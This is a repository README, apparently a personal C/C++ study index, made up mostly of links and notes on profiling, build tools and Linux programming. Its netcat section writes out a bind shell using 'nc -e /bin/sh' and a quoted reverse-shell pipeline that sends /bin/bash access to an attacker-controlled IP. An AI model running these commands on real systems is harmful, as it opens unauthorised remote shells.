# 38_cpp_projs **Repository Path**: linux2014/38_cpp_projs ## Basic Information - **Project Name**: 38_cpp_projs - **Description**: No description available - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2023-11-16 - **Last Updated**: 2025-06-20 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README --- --- ### cpp知识库,还有38_v2_cpp_projs; --- ### C++实现的俄罗斯方块 https://www.jb51.net/program/329924gur.htm https://www.jb51.net/article/237635.htm https://www.jb51.net/article/219514.htm https://cloud.tencent.com/developer/article/1732042 https://blog.51cto.com/u_16213568/9049704 --- ### linux网络编程(以C++为例): https://blog.csdn.net/pyf09/category_6946552.html https://blog.csdn.net/fpcc/category_6679097.html ### 架构设计(以C++为例): https://blog.csdn.net/fpcc/category_6679087.html ### c/c++性能测试工具: https://blog.csdn.net/fpcc/article/details/148017685 --- ### C/C++技术干货: https://blog.csdn.net/long_xu/category_9437621.html --- ### nginx源码解析与应用: https://www.iteye.com/blog/haoningabc-2301124 https://www.iteye.com/blog/haoningabc-2344484 https://www.iteye.com/blog/haoningabc-2390478 ### srt流媒体: https://www.iteye.com/blog/haoningabc-2513825 ### mysql: https://blog.csdn.net/m0_72563041/category_12433916.html ### C/C++云备份项目: https://blog.csdn.net/m0_72563041/category_12681358.html ### C/C++网络编程 https://blog.csdn.net/m0_72563041/category_12502290.html ### C/C++ rpc框架: https://blog.csdn.net/m0_75186846/category_12772639.html --- ### cpp构建之make、cmake、conan: https://blog.csdn.net/qq_21438461/category_12259750.html ### Linux C/C++: https://blog.csdn.net/qq_43920838/article/details/143982034 ### GoogleTest做单元测试 https://blog.csdn.net/qq_43920838/article/details/144029226 ### 高性能网络设计: https://blog.csdn.net/qq_43920838/category_12835741.html ### cpp进阶之路: https://zhuanlan.zhihu.com/p/358599840 https://liucjy.blog.csdn.net/article/details/132899243 https://blog.csdn.net/qq_21438461/category_12361370.html https://blog.csdn.net/qq_21438461/category_12361421.html ### cpp技术探索 https://www.zhihu.com/column/c_1721223712458633216 ### 优质的cpp教程: https://bobowen.blog.csdn.net/category_11284993_2.html ### std::move https://www.cnblogs.com/mogul-kahn/articles/17704322.html https://www.cnblogs.com/5iedu/p/11318729.html ### 内存映射: https://blog.csdn.net/lqy971966/article/details/115487016 https://zhuanlan.zhihu.com/p/874373786 ### 玩转Linux内核 https://www.zhihu.com/people/gang-hao-xin-dong-23 https://zhuanlan.zhihu.com/p/635315467 https://blog.csdn.net/lqy971966/category_8801359.html ### 逐步学会cmake: https://zhuanlan.zhihu.com/p/5966327439 ### 优质CPP项目: https://zhuanlan.zhihu.com/p/4547950347 https://zhuanlan.zhihu.com/p/4104788870 https://zhuanlan.zhihu.com/p/3209262357 ### 程序员性能神器:perf宝藏工具全攻略 https://zhuanlan.zhihu.com/p/3682756967 ### C/C++程序CPU/内存问题分析 https://www.cnblogs.com/lidabo/p/10040731.html https://www.cnblogs.com/music-liang/p/18076834 ### C/C++性能分析(CPU、内存): https://zhuanlan.zhihu.com/p/343231398 https://www.51cto.com/article/653774.html valgrind、gprof、perf、gperftools: https://segmentfault.com/a/1190000045314734 https://developer.aliyun.com/article/1535323 https://zhuanlan.zhihu.com/p/678172638 https://zhuanlan.zhihu.com/p/672082073 https://www.yisu.com/jc/232327.html https://github.com/dwangxxx/gperftools_flamegraph_profiler --- ### someip: https://zhuanlan.zhihu.com/p/409334462 ### Skynet服务器框架——C源码剖析启动流程 https://zhuanlan.zhihu.com/p/342572943 ### 细节拉满!分析Linux内核中Netlink机制 https://zhuanlan.zhihu.com/p/545941218 ### Linux C/C++: https://zhuanlan.zhihu.com/p/96810176 https://zhuanlan.zhihu.com/p/895250445 https://zhuanlan.zhihu.com/p/409345987 ### C/C++在各个操作系统平台的预编译宏: https://blog.csdn.net/u013576331/article/details/143657090 ### C/C++预定义宏: ### 架构设计案例: https://cloud.tencent.com/developer/article/2352092 --- ### C/C++编程,网络、硬盘IO、CPU调优: https://bobowen.blog.csdn.net/category_11284993_2.html https://blog.csdn.net/wully_happy/article/details/3201959 https://liucjy.blog.csdn.net/article/details/129977202 https://liucjy.blog.csdn.net/article/details/130002347 https://blog.csdn.net/yyt593891927/article/details/141200508 https://bobowen.blog.csdn.net/article/details/136281979 ### linux下对比二进制文件: https://cn.linux-console.net/?p=8448 split,dd,comp; --- ### csapp读书笔记——链接 https://www.cnblogs.com/keep--fighting ### C++stringstream: https://www.cnblogs.com/keep--fighting/p/17563552.html https://blog.csdn.net/weixin_44120785/article/details/139845972 ### C,sprintf,sscanf: https://cloud.tencent.com/developer/article/2036934 ### cpp线程池 https://bobowen.blog.csdn.net/article/details/141614255 ### cpp,move: https://blog.csdn.net/zhangmiaoping23/article/details/126051520 https://www.cnblogs.com/blizzard8204/p/17529803.html https://blog.csdn.net/m0_63331248/article/details/140575914 ### cpp,shared_ptr: https://www.cnblogs.com/linxmouse/p/18525086 ### cpp文件操作: https://blog.csdn.net/YT21198/article/details/136405855 https://blog.csdn.net/YT21198/article/details/131115345 https://blog.csdn.net/qq_50394172/article/details/143478722 ### cpp,ifstream: https://www.kdun.com/ask/1387031.html https://www.kdun.com/ask/1433460.html --- c/cpp教程: https://github.com/GrindGold/CppGuide https://github.com/GrindGold/pdf https://github.com/EricPengShuai/Interview https://zhuanlan.zhihu.com/p/623598480 https://www.zhihu.com/question/51134387/answer/2161924788 https://www.zhihu.com/question/67158058/answer/2179782480?utm_id=0 https://zhuanlan.zhihu.com/p/623598480 https://zhuanlan.zhihu.com/p/417086514 轻量级的tcp/ip协议栈: https://savannah.nongnu.org/projects/lwip/ 优质的C/CPP项目: https://www.zhihu.com/question/67158058/answer/2179782480?utm_id=0 nc,perf,strace,ltrace; https://hongjh.blog.csdn.net/article/details/125125574 strace: https://zhuanlan.zhihu.com/p/180053751 linux perf: https://zhuanlan.zhihu.com/p/545372697 https://www.zhihu.com/question/31382177/answer/2997123866 https://zhuanlan.zhihu.com/p/486792358 https://zhuanlan.zhihu.com/p/634004893 https://zhuanlan.zhihu.com/p/638791429 https://zhuanlan.zhihu.com/p/22194920 https://zhuanlan.zhihu.com/p/664546779 https://zhuanlan.zhihu.com/p/534920262 https://zhuanlan.zhihu.com/p/614212908 ### linux内核教程: https://zhuanlan.zhihu.com/p/635315467 ### FFmpeg+SDL播放器开发实践:解析、解码、渲染全流程详解 https://mp.weixin.qq.com/s?__biz=Mzg4NDQ0OTI4Ng==&mid=2247485846&idx=1&sn=c4f9c38a0707ea89c985c9aeb18e52ad&chksm=cfb940fff8cec9e9693e796495358583991b56be929757045b55bb22b7cd7e44a39543dd0337&scene=21#wechat_redirect --- --- --- ### makefile: https://blog.csdn.net/qq_66197674/article/details/139365933?spm=1001.2014.3001.5502 https://blog.csdn.net/happylzs2008/article/details/96448376 https://www.cnblogs.com/LoTGu/p/5936465.html ### 如何使用 Visual Studio Code 在 Docker 容器中编辑代码 https://cn.linux-console.net/?p=7645 ### Create a Dev Container https://code.visualstudio.com/docs/devcontainers/create-dev-container ### Attach to a running container https://code.visualstudio.com/docs/devcontainers/attach-container ### iftop: 类似项目:https://github.com/fs714/goiftop https://blog.csdn.net/qq_40907977/article/details/115066452 https://blog.csdn.net/qq_35995514/article/details/136542702 https://cloud.tencent.com/developer/article/2393280 ### Web Based Iperf Result Real-time Visualization https://github.com/fs714/iperf-gui ### 网络抓包: https://github.com/sarxos/webcam-capture https://github.com/mvdctop/Movie_Data_Capture https://github.com/r0ysue/r0capture https://github.com/JZ-Darkal/AndroidHttpCapture https://github.com/zju3dv/EasyMocap --- --- --- ### perf 报错 WARNING:“perf not found for kernel xxx" https://zhuanlan.zhihu.com/p/634575543 ``` sudo apt-get install linux-source cd /usr/src/linux-source-4.4.0/tools/perf make make install sudo cp ./perf /usr/bin/perf ``` --- --- ### linux下可执行文件分析 https://zhuanlan.zhihu.com/p/319710983 nm,strings,ldd; ### c/cpp库的搜索路径:默认的和自定义的(LD_LIBRARY_PATH,/etc/ld.so.conf); https://blog.csdn.net/qq_21438461/article/details/131425940 https://blog.csdn.net/HandsomeHong/article/details/129233819 /etc/ld.so.conf文件内容如下: ``` include ld.so.conf.d/*.conf ``` 这样只需要在/etc/ld.so.conf.d目录下添加.conf文件,并执行sudo ldconfig即可将.conf文件内的路径加入动态链接库的搜索路径; --- C/C++优质项目: https://www.zhihu.com/question/67158058/answer/2179782480?utm_id=0 https://github.com/AlexStocks/muduo https://www.zhihu.com/question/20124494 --- ### nc https://zhuanlan.zhihu.com/p/172130352 https://zhuanlan.zhihu.com/p/45549931 https://zhuanlan.zhihu.com/p/651353945 https://zhuanlan.zhihu.com/p/27135486 https://baijiahao.baidu.com/s?id=1742236858289590636&wfr=spider&for=pc https://blog.csdn.net/qq_51770207/article/details/128064993 #### 如何查看一部计算机对外暴露的端口: ``` nc -v -z -w2 8.8.8.8 1-100 #扫描8.8.8.8 的端口 范围是 1-1000 netstat -an | grep <端口> | grep -i listen netstat -tuplen #查看活动的端口 ``` #### nc的主要选项: ``` -e 执行 -l 监听模式 -n 数字模式(没有 DNS。它更快) -p 指定端口 -u UDP 模式 -v 详细输出 ``` ``` nc -vn 192.168.1.103 22 ##主动tcp连接 ``` 抓取http头部信息: ``` kali>nc -vn 192.168.1.103 80 HEAD / HTTP/1.0 ``` 聊天案例: ``` 先在远程系统上打开一个监听器。 kali >nc -l –p6996 然后从远程机器连接到那个监听器 kali >nc 192.168.1.105 6996 连接后,我就可以开始输入我的信息; ``` 传输文件 ``` 我们在远程系统上打开一个监听器。 kali >nc -l –p6996 或:kali >nc -l –p6996 > a.txt 接下来,让我们将文件发送到远程系统。 kali >nc 192.168.1.103 6996 nc -l –p6996 -e /bin/sh ##被远程管理的主机 kali> nc ##主动连接,执行shell命令; ``` 没有-e选项时, 利用管道符直接反弹: ``` 攻击者主机上打开两个终端分别执行监听: nc -nvlp 6666 nc -nvlp 7777 靶机上执行连接: nc x.x.x.x 6666|/bin/bash|x.x.x.x 7777 监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip,反弹shell成功后,在监听6666端口的终端中执行命令可以在另一个终端中看到命令执行结果。 ———————————————— 版权声明:本文为CSDN博主「千叶酱」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/qq_45600801/article/details/122355081 ``` --- 传送文件的两种模式(发送和接收): A到B传文件,可认为A发送文件给B,也可认为B向A请求文件; ``` 文件上传: hostA>nc -lv4 > hostB>nc < 文件下载: hostA>nc -lv4 < hostB>nc > ``` --- --- bpftune Linux 参数自动调优 https://www.oschina.net/p/bpftune Tetragon 基于 eBPF 的安全可观测性 & 运行时增强组件 https://www.oschina.net/p/tetragon Hikyuu 基于 C++/Python 的开源量化交易研究框架 https://www.oschina.net/p/hikyuu abu 基于 Python 的开源量化交易系统 https://www.oschina.net/p/abu spaCy NLP 自然语言文本处理库 https://www.oschina.net/p/spacy 纯c版本的协程实现,汇编切换,调度器实现,包含服务器端案例,客户端并发测试案例 https://github.com/wangbojing/NtyCo webbench: https://github.com/YukunJ/annotated-webbench-1.5 https://github.com/lihongchao/Webbench https://github.com/maintell/webBenchmark apache benchmark: https://blog.csdn.net/qq_36522306/article/details/94065368?spm=1001.2101.3001.6650.15&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-16-94065368-blog-101924143.235%5Ev38%5Epc_relevant_anti_t3_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-16-94065368-blog-101924143.235%5Ev38%5Epc_relevant_anti_t3_base&utm_relevant_index=22 https://developer.aliyun.com/article/1108771 优质开源项目: https://www.zhihu.com/question/20007439/answer/3165708178 https://github.com/donnemartin/system-design-primer https://github.com/EbookFoundation/free-programming-books #### 优质项目合集: https://github.com/codecrafters-io/build-your-own-x https://github.com/pocoproject/poco https://zhuanlan.zhihu.com/p/29686970 https://zhuanlan.zhihu.com/p/27488024 #### 黑客技术: https://github.com/tiancode/learn-hacking --- muduo源码分析: https://blog.csdn.net/woodslay/article/details/126107802?spm=1001.2101.3001.6650.9&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-9-126107802-blog-118367979.235%5Ev43%5Epc_blog_bottom_relevance_base2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-9-126107802-blog-118367979.235%5Ev43%5Epc_blog_bottom_relevance_base2&utm_relevant_index=10 https://blog.csdn.net/yolo_yyh/article/details/118367979 moduo项目: https://github.com/shenmingik/Server https://github.com/shenmingik/ByteTalk ### 两个CPP游戏: https://github.com/taylorconor/quinesnake https://github.com/taylorconor/tinytetris --- cpp教程: https://cplusplus.com/doc/ std::bind,std::move https://blog.csdn.net/qq_41687938/article/details/119797468 https://blog.csdn.net/tjcwt2011/article/details/129615301 https://blog.csdn.net/baidu_16370559/article/details/123106149 https://www.coonote.com/cplusplus-note/std-bind-usage.html https://blog.csdn.net/mars21/article/details/131478845 https://zhuanlan.zhihu.com/p/354765449 https://www.zhihu.com/question/467449795/answer/2401017680?utm_id=0 C++多线程 https://zhuanlan.zhihu.com/p/664310551 https://zhuanlan.zhihu.com/p/636156144 https://zhuanlan.zhihu.com/p/632130561?utm_id=0 https://blog.csdn.net/sinat_31608641/article/details/126911649 https://blog.csdn.net/weixin_42700740/article/details/126467681 https://github.com/federico-busato/Modern-CPP-Programming --- --- vscode 搭建 C/C++ 编译环境教程 https://zhuanlan.zhihu.com/p/643934671 https://zhuanlan.zhihu.com/p/380578316 https://zhuanlan.zhihu.com/p/355594757 https://zhuanlan.zhihu.com/p/438733781 https://zhuanlan.zhihu.com/p/449490906 https://zhuanlan.zhihu.com/p/438733781 https://zhuanlan.zhihu.com/p/545908287 Using GCC with MinGW https://code.visualstudio.com/docs/cpp/config-mingw#_prerequisites mingw: https://github.com/niXman/mingw-builds-binaries https://code.visualstudio.com/docs/cpp/config-mingw#_prerequisites codeblock: https://www.codeblocks.org/downloads/binaries/ 带你玩转Visual Studio——命令行编译C/C++程序 https://blog.csdn.net/luoweifu/article/details/49847749 https://blog.csdn.net/luoweifu/category_9264649.html 从生活中领悟设计模式 https://blog.csdn.net/luoweifu/category_9278857.html 快速熟悉项目代码 https://sunlogging.blog.csdn.net/article/details/27250179 疯狂的程序员——个人解读加经典语录 https://sunlogging.blog.csdn.net/article/details/6776204?ydreferer=aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2x1b3dlaWZ1L2NhdGVnb3J5Xzg4NzM3OS5odG1s https://blog.csdn.net/qq_43029747/article/details/99746801?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-1-99746801-blog-6776204.235%5Ev40%5Epc_relevant_3m_sort_dl_base2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-1-99746801-blog-6776204.235%5Ev40%5Epc_relevant_3m_sort_dl_base2&utm_relevant_index=2 ### win10下vscode+mingw构建c/cpp开发环境 1,下载mingw mingw包含gcc/g++/gdb; 可执行程序包在这里下载: https://github.com/niXman/mingw-builds-binaries/releases 已下载一份在mingw目录; 2,配置,使用 https://code.visualstudio.com/docs/cpp/config-mingw#_prerequisites 3,cmake https://zhuanlan.zhihu.com/p/449490906 cpp练习项目:https://gitee.com/linux2014/cpp_projs_v1.git --- ### 编译CPython: https://blog.csdn.net/weixin_44503976/article/details/119531725 https://blog.csdn.net/weixin_44503976/article/details/119531725 https://flaggo.github.io/python3-source-code-analysis/preface/windows-build/ https://flaggo.github.io/python3-source-code-analysis/preface/modify-code/ https://zhuanlan.zhihu.com/p/351541371 https://zhuanlan.zhihu.com/p/148348614 https://zhuanlan.zhihu.com/p/387906689 https://zhuanlan.zhihu.com/p/302587005 https://zhuanlan.zhihu.com/p/361844595 https://blog.csdn.net/tianxifeng/article/details/103160925 https://zhuanlan.zhihu.com/p/258986548 https://www.cnblogs.com/lazyboy/p/3160322.html ### python源码 https://gitee.com/linux2014/Python-2.5.2 https://gitee.com/linux2014/Python-3.7.10 --- ### 在windows下配置bash,模拟linux环境: MSYS2 is a collection of tools and libraries providing you with an easy-to-use environment for building, installing and running native Windows software. https://www.msys2.org/ 在windowsterminal配置msys2: https://www.cnblogs.com/52fhy/p/15158765.html 进入windows下的目录,实例: ``` cd /d/D/i_projs/nginx_v192/ ``` --- ### windows下的vim: https://github.com/vim/vim-win32-installer/releases/tag/v9.1.0016 ### mingw,msyss,vim的可执行文件在win_bash文件夹有保存; 这些软件安装完毕之后需要配置Path; 在Windows Terminal的msys2内使用时会根据windows的Path查找这些可执行应用的路径; --- --- ### C++教程: https://www.geeksforgeeks.org/stdstringcompare-in-c/ https://www.geeksforgeeks.org/inline-functions-cpp/ --- --- ## C++常见问题的解决: ### 1,extern "C" 对于解决 C++ 和 C 混合编程的问题,通常在头文件中使用如下格式: ``` C++模块引用C模块时要用; #ifdef __cplusplus extern "C" { #endif void display(); #ifdef __cplusplus } #endifextern "C"修饰的变量和函数是按照C语言方式进行编译和链接的; ``` ### 2,extern extern是C/C++语言中表明函数和全局变量的作用范围的关键字,该关键字告诉编译器,其声明的函数和变量可以在本模块或其他模块中定义。 extern int a; 仅仅是一个变量的声明,其并不是在定义变量a,并未为a分配空间。变量a在所有模块中作为一种全局变量只能被定义一次,否则会出错; ### 3,inline 1、关键字inline必须与函数的定义体放在一起,才能使函数成为内联函数,仅仅将inline放在函数声明前面不起作用 例如,下面风格的函数fun将不能成为内联函数: inline void fun(int x, int y); //inline仅仅与函数声明放在一起 void fun(int x, int y) { } 如下风格的函数fun则成为内联函数: void fun(int x, int y); inline void fun(int x, int y) //inline与函数的定义放在一起 { } 2、关键字inline的使用是有所限制的 inline只适合函数体内代码比较简单的函数使用,不能包含复杂的结构控制语句,例如while、switch,并且内联函数本身不能是直接递归函数(函数内部调用自己的函数)。 3. inline仅是一个对编译器的建议 inline函数仅仅是一个对编译器的建议,所以最后能否真正内联,看编译器的意思,它如果认为函数不复杂,能在调用点展开,就会真正内联,并不是说声明了内联就会内联,声明内联只是一个建议而已。 4. 建议:inline函数的定义放在头文件中 其次,因为内联函数要在调用点展开,所以编译器必须随处可见内联函数的定义,要不然就成了非内联函数的调用了。所以,这要求每个调用了内联函数的文件都出现了该内联函数的定义。 因此,将内联函数的定义放在头文件里实现是合适的,省却你为每个文件实现一次的麻烦。 声明跟定义要一致:如果在每个文件里都实现一次该内联函数的话,那么,最好保证每个定义都是一样的,否则,将会引起未定义的行为。如果不是每个文件里的定义都一样,那么,编译器展开的是哪一个,那要看具体的编译器而定。所以,最好将内联函数定义放在头文件中。 5. 慎用inline 内联能提高函数的执行效率,为什么不把所有的函数都定义成内联函数?如果所有的函数都是内联函数,还用得着“内联”这个关键字吗? 内联是以代码膨胀(复制)为代价,仅仅省去了函数调用的开销,从而提高函数的执行效率。 如果执行函数体内代码的时间,相比于函数调用的开销较大,那么效率的收获会很少。另一方面,每一处内联函数的调用都要复制代码,将使程序的总代码量增大,消耗更多的内存空间。 --- --- vscode+cmake: https://blog.csdn.net/zhizhengguan/article/details/111713320 https://blog.csdn.net/qq_45241855/article/details/134200239 https://blog.csdn.net/sfdfd6965/article/details/131744682 https://blog.csdn.net/zhizhengguan/article/details/107034372 https://blog.csdn.net/qq_45241855/article/details/134200239 https://blog.csdn.net/H_O_W_E/article/details/132884253 https://blog.csdn.net/H_O_W_E/article/details/132884253 https://www.coonote.com/cmake-tutorial/cmake-multi-directory.html --- ### mingw64,msys2: https://github.com/mingw-w64/mingw-w64 https://github.com/mingw-w64/mingw-w64.github.io https://www.mingw-w64.org/ msys2: https://blog.csdn.net/B11050729/article/details/131719012 https://blog.csdn.net/qq_30163677/article/details/131065128?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-131065128-blog-131719012.235^v40^pc_relevant_3m_sort_dl_base2&spm=1001.2101.3001.4242.2&utm_relevant_index=4 vscode+msys2+cmake: https://blog.csdn.net/weixin_73158591/article/details/133901339 --- ### 区分操作系统的宏定义: https://blog.csdn.net/bitcsljl/article/details/125412641 https://blog.csdn.net/woaitingting1985/article/details/122863465 ### 查看宏定义: gcc -posix -E -dM - < /dev/null --- --- --- ptmalloc源码分析 https://blog.csdn.net/initphp/category_10542242.html 技术合集: https://blog.csdn.net/initphp/category_2609089.html memcached源码分析: https://blog.csdn.net/initphp/category_9265236.html nginx源码分析: https://blog.csdn.net/initphp/category_9265172.html lua源码分析: https://blog.csdn.net/initphp/category_9293184.html 小游戏合集: https://blog.csdn.net/a419240016/article/details/104305641 C/CPP开发、故障排查利器合集: https://blog.csdn.net/breaksoftware/category_7043007.html Linux下用火焰图进行性能分析 https://ratel.blog.csdn.net/article/details/121192018 程序性能监控分析工具 https://ratel.blog.csdn.net/article/details/111627481 https://blog.csdn.net/bandaoyu/article/details/107970558?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-107970558-blog-111627481.235^v43^pc_blog_bottom_relevance_base2&spm=1001.2101.3001.4242.3&utm_relevant_index=7 动态执行流程分析和性能瓶颈分析的利器——valgrind的callgrind https://fangliang.blog.csdn.net/article/details/79457352 cpu核心的绑定: https://fangliang.blog.csdn.net/article/details/79160916 lua代码的函数调用关系: https://github.com/calio/luaflow python程序的性能分析工具: https://github.com/pwaller/pyprof2calltree cpp/java源码流程神器: https://zhuanlan.zhihu.com/p/339910341 https://github.com/satanson/cpp_etudes #### calltree: https://www.jianshu.com/p/da5086f9f91d/ https://blog.csdn.net/weixin_44498318/article/details/115492151?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-115492151-blog-75441751.235%5Ev43%5Epc_blog_bottom_relevance_base2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-115492151-blog-75441751.235%5Ev43%5Epc_blog_bottom_relevance_base2&utm_relevant_index=9 https://blog.csdn.net/lsr_fighting/article/details/78458679 https://blog.csdn.net/breaksoftware/article/details/75441751 https://www.cnblogs.com/viiv/p/15736106.html https://www.cnblogs.com/lanxuezaipiao/p/3450201.html https://www.cnblogs.com/lanxuezaipiao/p/3450201.html https://codeleading.com/article/53454501214/ #### 代码调用关系分析工具: https://blog.csdn.net/qq_23599965/article/details/88815854 ### c_cpp_flow.md ### gperftools https://tastones.com/stackoverflow/c++/profiling/profiling_cpu_usage_with_gcc_and_google_perf_tools/ https://wiki.geany.org/howtos/profiling/gperftools 依赖:https://download.savannah.gnu.org/releases/libunwind/ gperftools源码分析: https://blog.51cto.com/u_15127607/4608116 #### gperftools cpu profile,有两种方法: ``` 1,代码侵入; #include ProfilerStart/ProfilerStop; -lprofiler 生成可执行程序并执行; 2,执行时加库,kill发信号控制; LD_PRELOAD=/mnt/d/D/linux_install_dir/gperftools/lib/libprofiler.so.5.11.5 CPUPROFILE=./bin/2main.prof CPUPROFILESIGNAL=12 ./bin/main 1 1 killall -12 ``` #### gperftools,heapcheck https://blog.csdn.net/u010523811/article/details/129141923 ``` envLD_PRELOAD="/home/zhengbin/gperf/lib/libtcmalloc.so" PPROF_PATH=../../gperf/bin/pprof HEAPCHECK=normal ./application ``` --- --- ### valgrind: https://valgrind.org/downloads/current.html https://blog.csdn.net/u014717036/article/details/50762252 ``` sudo apt-get install -y valgrind kcachegrind ``` https://blog.csdn.net/xhtchina/article/details/121187064 https://blog.csdn.net/itworld123/article/details/122156532 https://zhuanlan.zhihu.com/p/643271982 https://zhuanlan.zhihu.com/p/663837179 valgrind案例: https://blog.csdn.net/Z_Stand/article/details/88960671 https://linuxstyle.blog.csdn.net/article/details/89741965?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-3-89741965-blog-88960671.235%5Ev43%5Epc_blog_bottom_relevance_base2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-3-89741965-blog-88960671.235%5Ev43%5Epc_blog_bottom_relevance_base2&utm_relevant_index=4 valgrind生成Callgrind的性能分析文件: ``` valgrind --tool=callgrind [] ``` ``` 直接利用:callgrind_annotate callgrind.out.XXX 打印结果,也可以使用:gprof2dot.py -f callgrind callgrind.out.XXX |dot -Tpng -o report.png来生成图形化结果: ``` 动态检测内存错误利器ASan https://ratel.blog.csdn.net/article/details/121187199 ### doxygen生成cpp、java的调用关系图和其他代码文档: https://www.doxygen.nl/download.html https://www.zhihu.com/question/31687711 https://zhuanlan.zhihu.com/p/658444136 https://zhuanlan.zhihu.com/p/556127320?utm_id=0 安装: ``` sudo apt install -y graphviz doxygen ``` 用法: ``` $ cd CODE_DIR $ doxygen -g Doxygen.config # 生成配置文件 $ vim Doxygen.config # 修改配置文件 RECURSIVE = YES CALL_GRAPH = YES CALLER_GRAPH = YES $ doxygen Doxygen.config # 根据代码生成文档 ``` --- ### uml生成C++/java等: https://www.visual-paradigm.com/support/documents/vpuserguide/276/330/7364_instantgener.html gdb-dashboard: https://ratel.blog.csdn.net/article/details/121535829 技术专家拓跋阿秀: https://github.com/forthespada https://github.com/forthespada/Awsome-Courses?tab=readme-ov-file ffmpeg: https://blog.csdn.net/sunshineywz/article/details/105884473 C/C++性能分析和代码分析: https://blog.csdn.net/sunshineywz/category_10463890.html ### gcc/g++环境变量 gcc_env.md ### addr2line ### objdump --- IT项目研发过程中的利器——C/C++项目调用图篇 https://fangliang.blog.csdn.net/article/details/135971707 动态执行流程分析和性能瓶颈分析的利器——gperftools的Cpu Profiler https://blog.csdn.net/breaksoftware/article/details/81315729?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-9-81315729-blog-83820080.235^v43^pc_blog_bottom_relevance_base2&spm=1001.2101.3001.4242.6&utm_relevant_index=12 动态分析C语言代码生成函数调用关系的利器——gprof https://fangliang.blog.csdn.net/article/details/135939000 https://blog.csdn.net/typename/article/details/5598884?spm=1001.2101.3001.6650.11&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-11-5598884-blog-109550338.235%5Ev43%5Econtrol&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-11-5598884-blog-109550338.235%5Ev43%5Econtrol&utm_relevant_index=19 动态分析C语言代码生成函数调用关系的利器——perf https://fangliang.blog.csdn.net/article/details/135948276?ydreferer=aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2JyZWFrc29mdHdhcmUvYXJ0aWNsZS9kZXRhaWxzLzgxMzE1NzI5P3V0bV9tZWRpdW09ZGlzdHJpYnV0ZS5wY19yZWxldmFudC5ub25lLXRhc2stYmxvZy0yfmRlZmF1bHR%2BYmFpZHVqc19iYWlkdWxhbmRpbmd3b3JkfmRlZmF1bHQtOS04MTMxNTcyOS1ibG9nLTgzODIwMDgwLjIzNV52NDNecGNfYmxvZ19ib3R0b21fcmVsZXZhbmNlX2Jhc2UyJnNwbT0xMDAxLjIxMDEuMzAwMS40MjQyLjYmdXRtX3JlbGV2YW50X2luZGV4PTEy ### gprof2dot https://pypi.org/project/gprof2dot/ https://www.cnblogs.com/lidabo/p/15855580.html 性能分析(perf+gprof2dot) https://blog.csdn.net/qq_42931917/article/details/129342780 https://coppersun.blog.csdn.net/article/details/124344962?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-124344962-blog-115352664.235%5Ev43%5Econtrol&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-124344962-blog-115352664.235%5Ev43%5Econtrol&utm_relevant_index=2 ### 性能分析工具gprof: https://blog.csdn.net/qq_21438461/article/details/131679881 https://www.gerenjianli.cn/fwdq/shiyongwen/10453896.html https://blog.csdn.net/hanxingwang0806/article/details/51993706 https://blog.csdn.net/qq_21438461/article/details/131679881?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-131679881-blog-129342780.235^v43^pc_blog_bottom_relevance_base2&spm=1001.2101.3001.4242.2&utm_relevant_index=4 https://blog.csdn.net/hanxingwang0806/article/details/51993706 https://blog.csdn.net/weixin_33755557/article/details/91605233?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-91605233-blog-51993706.235%5Ev43%5Econtrol&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-91605233-blog-51993706.235%5Ev43%5Econtrol&utm_relevant_index=1 https://my.oschina.net/liux/blog/51800 https://blog.csdn.net/muyangzhe123/article/details/53408774 https://blog.csdn.net/meijia_tts/article/details/7087296 https://blog.csdn.net/dreamcometure/article/details/8895421 https://blog.csdn.net/mdx20072419/article/details/7897345 https://blog.csdn.net/sunshineywz/article/details/105609639 https://blog.csdn.net/flyingshineangel/article/details/109550338?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109550338-blog-88798671.235%5Ev43%5Econtrol&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109550338-blog-88798671.235%5Ev43%5Econtrol&utm_relevant_index=2 